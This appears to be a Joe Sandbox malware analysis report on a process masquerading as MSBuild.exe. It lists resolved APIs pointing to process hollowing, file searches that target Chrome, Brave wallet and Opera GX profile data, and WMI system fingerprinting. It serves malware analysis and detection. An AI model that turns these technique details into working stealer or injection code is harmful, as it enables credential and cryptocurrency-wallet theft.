Opcode Fuzzy Hash: 3153ac4c69bd03384bf235d8ef0effb25688a5faf6320f3c95c65fa1cecb5d81
Instruction Fuzzy Hash: 96F01D71505B409E8330AF7A8581447FBE4BE2D2107548E2EE0DEC3A11D734E504CB69

Analysis Process: MSBuild.exePID: 6616, Parent PID: 6576COMMON

Execution Graph

Execution Coverage:	5.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	30

Executed Functions

Function 00418A63 Relevance: 231.5, APIs: 121, Strings: 11, Instructions: 518
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,004173DA), ref: 00418A77
GetProcAddress.KERNEL32 ref: 00418A8E
GetProcAddress.KERNEL32 ref: 00418AA5
GetProcAddress.KERNEL32 ref: 00418ABC
GetProcAddress.KERNEL32 ref: 00418AD3
GetProcAddress.KERNEL32 ref: 00418AEA
GetProcAddress.KERNEL32 ref: 00418B01
GetProcAddress.KERNEL32 ref: 00418B18
GetProcAddress.KERNEL32 ref: 00418B2F
GetProcAddress.KERNEL32 ref: 00418B46
GetProcAddress.KERNEL32 ref: 00418B5D
GetProcAddress.KERNEL32 ref: 00418B74
GetProcAddress.KERNEL32 ref: 00418B8B
GetProcAddress.KERNEL32 ref: 00418BA2
GetProcAddress.KERNEL32 ref: 00418BB9
GetProcAddress.KERNEL32 ref: 00418BD0
GetProcAddress.KERNEL32 ref: 00418BE7
GetProcAddress.KERNEL32 ref: 00418BFE
GetProcAddress.KERNEL32 ref: 00418C15
GetProcAddress.KERNEL32 ref: 00418C2C
GetProcAddress.KERNEL32 ref: 00418C43
GetProcAddress.KERNEL32 ref: 00418C5A
GetProcAddress.KERNEL32 ref: 00418C71
GetProcAddress.KERNEL32 ref: 00418C88
GetProcAddress.KERNEL32 ref: 00418C9F
GetProcAddress.KERNEL32 ref: 00418CB6
GetProcAddress.KERNEL32 ref: 00418CCD
GetProcAddress.KERNEL32 ref: 00418CE4
GetProcAddress.KERNEL32 ref: 00418CFB
GetProcAddress.KERNEL32 ref: 00418D12
GetProcAddress.KERNEL32 ref: 00418D29
GetProcAddress.KERNEL32 ref: 00418D40
GetProcAddress.KERNEL32 ref: 00418D57
GetProcAddress.KERNEL32 ref: 00418D6E
GetProcAddress.KERNEL32 ref: 00418D85
GetProcAddress.KERNEL32 ref: 00418D9C
GetProcAddress.KERNEL32 ref: 00418DB3
GetProcAddress.KERNEL32 ref: 00418DCA
GetProcAddress.KERNEL32 ref: 00418DE1
GetProcAddress.KERNEL32 ref: 00418DF8
GetProcAddress.KERNEL32 ref: 00418E0F
GetProcAddress.KERNEL32 ref: 00418E26
GetProcAddress.KERNEL32 ref: 00418E3D
GetProcAddress.KERNEL32(CreateProcessA), ref: 00418E53
GetProcAddress.KERNEL32(GetThreadContext), ref: 00418E69
GetProcAddress.KERNEL32(ReadProcessMemory), ref: 00418E7F
GetProcAddress.KERNEL32(VirtualAllocEx), ref: 00418E95
GetProcAddress.KERNEL32(ResumeThread), ref: 00418EAB
GetProcAddress.KERNEL32(WriteProcessMemory), ref: 00418EC1
GetProcAddress.KERNEL32(SetThreadContext), ref: 00418ED7
LoadLibraryA.KERNEL32(004173DA), ref: 00418EE8
LoadLibraryA.KERNEL32 ref: 00418EF9
LoadLibraryA.KERNEL32 ref: 00418F0A
LoadLibraryA.KERNEL32 ref: 00418F1B
LoadLibraryA.KERNEL32 ref: 00418F2C
LoadLibraryA.KERNEL32 ref: 00418F3D
LoadLibraryA.KERNEL32 ref: 00418F4E
LoadLibraryA.KERNEL32 ref: 00418F5F
LoadLibraryA.KERNEL32(dbghelp.dll), ref: 00418F6F
GetProcAddress.KERNEL32(75290000), ref: 00418F8A
GetProcAddress.KERNEL32 ref: 00418FA1
GetProcAddress.KERNEL32 ref: 00418FB8
GetProcAddress.KERNEL32 ref: 00418FCF
GetProcAddress.KERNEL32 ref: 00418FE6
GetProcAddress.KERNEL32(6FC70000), ref: 00419005
GetProcAddress.KERNEL32 ref: 0041901C
GetProcAddress.KERNEL32 ref: 00419033
GetProcAddress.KERNEL32 ref: 0041904A
GetProcAddress.KERNEL32 ref: 00419061
GetProcAddress.KERNEL32 ref: 00419078
GetProcAddress.KERNEL32 ref: 0041908F
GetProcAddress.KERNEL32 ref: 004190A6
GetProcAddress.KERNEL32(752C0000), ref: 004190C1
GetProcAddress.KERNEL32 ref: 004190D8
GetProcAddress.KERNEL32 ref: 004190EF
GetProcAddress.KERNEL32 ref: 00419106
GetProcAddress.KERNEL32 ref: 0041911D
GetProcAddress.KERNEL32(74EC0000), ref: 0041913C
GetProcAddress.KERNEL32 ref: 00419153
GetProcAddress.KERNEL32 ref: 0041916A
GetProcAddress.KERNEL32 ref: 00419181
GetProcAddress.KERNEL32 ref: 00419198
GetProcAddress.KERNEL32 ref: 004191AF
GetProcAddress.KERNEL32(75BD0000), ref: 004191CE
GetProcAddress.KERNEL32 ref: 004191E5
GetProcAddress.KERNEL32 ref: 004191FC
GetProcAddress.KERNEL32 ref: 00419213
GetProcAddress.KERNEL32 ref: 0041922A
GetProcAddress.KERNEL32 ref: 00419241
GetProcAddress.KERNEL32 ref: 00419258
GetProcAddress.KERNEL32 ref: 0041926F
GetProcAddress.KERNEL32 ref: 00419286
GetProcAddress.KERNEL32(75A70000), ref: 004192A1
GetProcAddress.KERNEL32 ref: 004192B8
GetProcAddress.KERNEL32 ref: 004192CF
GetProcAddress.KERNEL32 ref: 004192E6
GetProcAddress.KERNEL32 ref: 004192FD
GetProcAddress.KERNEL32(75450000), ref: 00419318
GetProcAddress.KERNEL32 ref: 0041932F
GetProcAddress.KERNEL32(75DA0000), ref: 0041934A
GetProcAddress.KERNEL32 ref: 00419361
GetProcAddress.KERNEL32(6F080000), ref: 00419380
GetProcAddress.KERNEL32 ref: 00419397
GetProcAddress.KERNEL32 ref: 004193AE
GetProcAddress.KERNEL32 ref: 004193C5
GetProcAddress.KERNEL32 ref: 004193DC
GetProcAddress.KERNEL32 ref: 004193F3
GetProcAddress.KERNEL32 ref: 0041940A
GetProcAddress.KERNEL32 ref: 00419421
GetProcAddress.KERNEL32(HttpQueryInfoA), ref: 00419437
GetProcAddress.KERNEL32(InternetSetOptionA), ref: 0041944D
GetProcAddress.KERNEL32(75AF0000), ref: 00419468
GetProcAddress.KERNEL32 ref: 0041947F
GetProcAddress.KERNEL32 ref: 00419496
GetProcAddress.KERNEL32 ref: 004194AD
GetProcAddress.KERNEL32(75D90000), ref: 004194C8
GetProcAddress.KERNEL32(6C820000), ref: 004194E3
GetProcAddress.KERNEL32 ref: 004194FA
GetProcAddress.KERNEL32 ref: 00419511
GetProcAddress.KERNEL32 ref: 00419528
GetProcAddress.KERNEL32(6C630000,SymMatchString), ref: 00419542

Strings

ReadProcessMemory, xrefs: 00418E6F
WriteProcessMemory, xrefs: 00418EB1
GetThreadContext, xrefs: 00418E59
SetThreadContext, xrefs: 00418EC7
ResumeThread, xrefs: 00418E9B
dbghelp.dll, xrefs: 00418F65
HttpQueryInfoA, xrefs: 00419427
InternetSetOptionA, xrefs: 0041943D
VirtualAllocEx, xrefs: 00418E85
CreateProcessA, xrefs: 00418E43
SymMatchString, xrefs: 0041953C

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateProcessA$GetThreadContext$HttpQueryInfoA$InternetSetOptionA$ReadProcessMemory$ResumeThread$SetThreadContext$SymMatchString$VirtualAllocEx$WriteProcessMemory$dbghelp.dll
API String ID: 2238633743-2740034357
Opcode ID: 3e30b89850b8473fc7cede02b6692b6796462800fa081e8782096f790b2d890e
Instruction ID: 8ba0d5c8ae2e13c06544b1593b83c2cece409b0c910b42dbc8887f4207037caa
Opcode Fuzzy Hash: 3e30b89850b8473fc7cede02b6692b6796462800fa081e8782096f790b2d890e
Instruction Fuzzy Hash: C752F475910312AFEF1ADFA0FD088243BA7F718707F11A466E91582270E73B4A64EF19

Function 00414CC8 Relevance: 49.3, APIs: 24, Strings: 4, Instructions: 297
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00414D1C
FindFirstFileA.KERNEL32(?,?), ref: 00414D33
_memset.LIBCMT ref: 00414D4F
_memset.LIBCMT ref: 00414D60
StrCmpCA.SHLWAPI(?,004369F8), ref: 00414D81
StrCmpCA.SHLWAPI(?,004369FC), ref: 00414D9B
wsprintfA.USER32 ref: 00414DC2
StrCmpCA.SHLWAPI(?,0043660F), ref: 00414DD6
wsprintfA.USER32 ref: 00414DFF
wsprintfA.USER32 ref: 00414E16

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

_memset.LIBCMT ref: 00414E28
lstrcatA.KERNEL32(?,?), ref: 00414E3D
strtok_s.MSVCRT ref: 00414E82
_memset.LIBCMT ref: 00414E94
lstrcatA.KERNEL32(?,?), ref: 00414EA9
strtok_s.MSVCRT ref: 00414EC2
PathMatchSpecA.SHLWAPI(?,00000000), ref: 00414ED7
DeleteFileA.KERNEL32(?,00436A28,0043661D), ref: 00414F90
CopyFileA.KERNEL32(?,?,00000001), ref: 00414FA0

Part of subcall function 00412166: CreateFileA.KERNEL32(00414FAC,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,00414FAC,?), ref: 00412181

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00414FB6
DeleteFileA.KERNEL32(?,00000000,?,000003E8,00000000), ref: 00414FC1
strtok_s.MSVCRT ref: 00414FE7
FindNextFileA.KERNELBASE(?,?), ref: 00415105
FindClose.KERNEL32(?), ref: 00415125

Strings

%s\%s, xrefs: 00414E10
%s\%s, xrefs: 00414DBC
%s\*.*, xrefs: 00414D10
%s\%s\%s, xrefs: 00414DF9

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$_memsetlstrcatwsprintf$Findlstrcpystrtok_s$Delete$CloseCopyCreateFirstMatchNextPathSpecUnothrow_t@std@@@__ehfuncinfo$??2@lstrlen
String ID: %s\%s$%s\%s$%s\%s\%s$%s\*.*
API String ID: 956187361-332874205
Opcode ID: 0b980f5fe467d40f36a48e0aa954b15b20be97dd482f654baf88f773cf79a131
Instruction ID: 9768ecd297fb6e20fca964dbbce2c4256e5a8c732881b8487d541fa13927e408
Opcode Fuzzy Hash: 0b980f5fe467d40f36a48e0aa954b15b20be97dd482f654baf88f773cf79a131
Instruction Fuzzy Hash: 95C12AB1E0021AABCF22EF60DC45AEE777DAF08305F0140A6FA09A3151DB399F858F55

Function 00409D1C Relevance: 44.4, APIs: 20, Strings: 5, Instructions: 610
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,004367F2,004367EF,00437324,004367EE,?,?,?), ref: 00409DC6
StrCmpCA.SHLWAPI(?,00437328), ref: 00409DE7
StrCmpCA.SHLWAPI(?,0043732C), ref: 00409E01

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 00410581

StrCmpCA.SHLWAPI(?,Opera GX,00437330,?,004367F3), ref: 00409E93
StrCmpCA.SHLWAPI(?,Brave,00437350,00437354,00437330,?,004367F3), ref: 0040A015
StrCmpCA.SHLWAPI(?,Preferences), ref: 0040A02F
CopyFileA.KERNEL32(?,?,00000001), ref: 0040A0EF
DeleteFileA.KERNEL32(?), ref: 0040A1BE
StrCmpCA.SHLWAPI(?), ref: 0040A1FC
StrCmpCA.SHLWAPI(?), ref: 0040A266
StrCmpCA.SHLWAPI(0040CCE9), ref: 0040A279

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

StrCmpCA.SHLWAPI(?), ref: 0040A35C
CopyFileA.KERNEL32(?,?,00000001), ref: 0040A41C
StrCmpCA.SHLWAPI(?,Google Chrome), ref: 0040A4C1
DeleteFileA.KERNEL32(?), ref: 0040A522

Part of subcall function 00408DDB: lstrlenA.KERNEL32(?), ref: 00408FD4
Part of subcall function 00408DDB: lstrlenA.KERNEL32(?), ref: 00408FEF

Part of subcall function 00409549: lstrlenA.KERNEL32(?), ref: 00409970
Part of subcall function 00409549: lstrlenA.KERNEL32(?), ref: 0040998B

StrCmpCA.SHLWAPI(?), ref: 0040A553
CopyFileA.KERNEL32(?,?,00000001), ref: 0040A613
DeleteFileA.KERNEL32(?), ref: 0040A6AA

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

FindNextFileA.KERNEL32(?,?), ref: 0040A76E
FindClose.KERNEL32(?), ref: 0040A782

Strings

Preferences, xrefs: 0040A023
Brave, xrefs: 0040A00D
\BraveWallet\Preferences, xrefs: 0040A105
Opera GX, xrefs: 00409E8B
Google Chrome, xrefs: 0040A4B9

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$lstrcpylstrlen$CopyDeleteFind$lstrcat$CloseFirstNextSystemTime
String ID: Brave$Google Chrome$Opera GX$Preferences$\BraveWallet\Preferences
API String ID: 4173076446-1189830961
Opcode ID: 6bc7db03fd3e6de777a60ecc1956de65a2fbde93f045904ad5cf2e6d1527fe4a
Instruction ID: a9b55009a8fcddda8ff4ceb811f1237a8a6c318138ce5e2e0b09e31f0378cf4a
Opcode Fuzzy Hash: 6bc7db03fd3e6de777a60ecc1956de65a2fbde93f045904ad5cf2e6d1527fe4a
Instruction Fuzzy Hash: 78422A3194012D9BCF21FB65DD46BCD7775AF04308F4101AAB848B31A2DB79AED98F89

Function 6C3635A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C3EF688,00001000), ref: 6C3635D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C3635E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C3635FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C36363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C36369F
__aulldiv.LIBCMT ref: 6C3636E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C363773
EnterCriticalSection.KERNEL32(6C3EF688), ref: 6C36377E
LeaveCriticalSection.KERNEL32(6C3EF688), ref: 6C3637BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C3637C4
EnterCriticalSection.KERNEL32(6C3EF688), ref: 6C3637CB
LeaveCriticalSection.KERNEL32(6C3EF688), ref: 6C363801
__aulldiv.LIBCMT ref: 6C363883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C363902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C363918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C36394C

Strings

GTC, xrefs: 6C363912
QPC, xrefs: 6C3638FC
AuthcAMDenti, xrefs: 6C363946
MOZ_TIMESTAMP_MODE, xrefs: 6C3635DB
GenuntelineI, xrefs: 6C363639

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 9edbac1cf720f32559e4c71eb00119b9061cb7c9905dfe2035e7ee69ba46f2ef
Instruction ID: f6409f9987e2b89046fc89949937f7f159e49450b16c8373852ff7de2dfd67dc
Opcode Fuzzy Hash: 9edbac1cf720f32559e4c71eb00119b9061cb7c9905dfe2035e7ee69ba46f2ef
Instruction Fuzzy Hash: 44B1D071B083109BDB98DF29D84465ABBF9AB8E704F04892FE899D7790D77099008F92

Function 00415FD1 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 205
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00416018
FindFirstFileA.KERNEL32(?,?), ref: 0041602F
StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
wsprintfA.USER32 ref: 00416091
StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
wsprintfA.USER32 ref: 004160C2
wsprintfA.USER32 ref: 004160D9
PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
lstrcatA.KERNEL32(?), ref: 00416125
lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
lstrcatA.KERNEL32(?,?), ref: 0041614A
lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
lstrcatA.KERNEL32(?,?), ref: 00416170
CopyFileA.KERNEL32(?,?,00000001), ref: 00416229
DeleteFileA.KERNEL32(?), ref: 0041629D
FindNextFileA.KERNEL32(?,?), ref: 004162FF
FindClose.KERNEL32(?), ref: 00416313

Strings

%s\%s, xrefs: 0041608B
%s\*, xrefs: 0041600C
%s\%s, xrefs: 004160D3

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$CloseCopyDeleteFirstMatchNextPathSpec
String ID: %s\%s$%s\%s$%s\*
API String ID: 2178766154-445461498
Opcode ID: 6ae935164d3feafb997cd558fd705644e50460ea22fb7019366a12ba31212e16
Instruction ID: 81d09dce4b51b3523f7962b1b768db3a72bb21831e5d2f1ad6ac3091453fc6b6
Opcode Fuzzy Hash: 6ae935164d3feafb997cd558fd705644e50460ea22fb7019366a12ba31212e16
Instruction Fuzzy Hash: 3E81287190022DABCF60EF61DC45ACD77B9FB08305F0194EAE549A3150EE39AB898F94

Function 00411807 Relevance: 33.4, APIs: 11, Strings: 8, Instructions: 143memorycomtimeCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 0041180E
CoInitializeEx.OLE32(00000000,00000000,0000004C,00413EF9,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 0041181F
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00411830
CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 0041184A
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411880
VariantInit.OLEAUT32(?), ref: 004118DB

Part of subcall function 00411757: __EH_prolog3_catch.LIBCMT ref: 0041175E
Part of subcall function 00411757: CoCreateInstance.OLE32(004331B0,00000000,00000001,0043B018,?,00000018,00411901,?), ref: 00411781
Part of subcall function 00411757: SysAllocString.OLEAUT32(?), ref: 0041178E
Part of subcall function 00411757: _wtoi64.MSVCRT ref: 004117C1
Part of subcall function 00411757: SysFreeString.OLEAUT32(?), ref: 004117DA
Part of subcall function 00411757: SysFreeString.OLEAUT32(00000000), ref: 004117E1

FileTimeToSystemTime.KERNEL32(?,?), ref: 0041190A
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00411916
HeapAlloc.KERNEL32(00000000), ref: 0041191D
VariantClear.OLEAUT32(?), ref: 0041195C
wsprintfA.USER32 ref: 00411949

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Strings

Select * From Win32_OperatingSystem, xrefs: 00411895
Unknown, xrefs: 00411985
Unknown, xrefs: 0041196A
Unknown, xrefs: 00411971
WQL, xrefs: 0041189A
%d/%d/%d %d:%d:%d, xrefs: 00411943
ROOT\CIMV2, xrefs: 00411862
InstallDate, xrefs: 004118ED

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: String$AllocCreateFreeHeapInitializeInstanceTimeVariant$BlanketClearFileH_prolog3_catchH_prolog3_catch_InitProcessProxySecuritySystem_wtoi64lstrcpywsprintf
String ID: %d/%d/%d %d:%d:%d$InstallDate$ROOT\CIMV2$Select * From Win32_OperatingSystem$Unknown$Unknown$Unknown$WQL
API String ID: 2280294774-461178377
Opcode ID: 4a998e0831886b93ed92c0276ff9e06964fee6d6e5f1487c865c121be33c5c48
Instruction ID: 99ef6883476e7e72b4c9cbd85dd5ecdaeb76e40d083b236b73c3eff291e47a74
Opcode Fuzzy Hash: 4a998e0831886b93ed92c0276ff9e06964fee6d6e5f1487c865c121be33c5c48
Instruction Fuzzy Hash: 49416C71940209BBCB10DBD5DC89EEFBBBDEB89B11F20411AF611A6190D6799941CB38

Function 0041C585 Relevance: 26.7, APIs: 13, Strings: 2, Instructions: 440COMMON

Download Yara Rule

Strings

UT, xrefs: 0041C8B0
/, xrefs: 0041C638

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
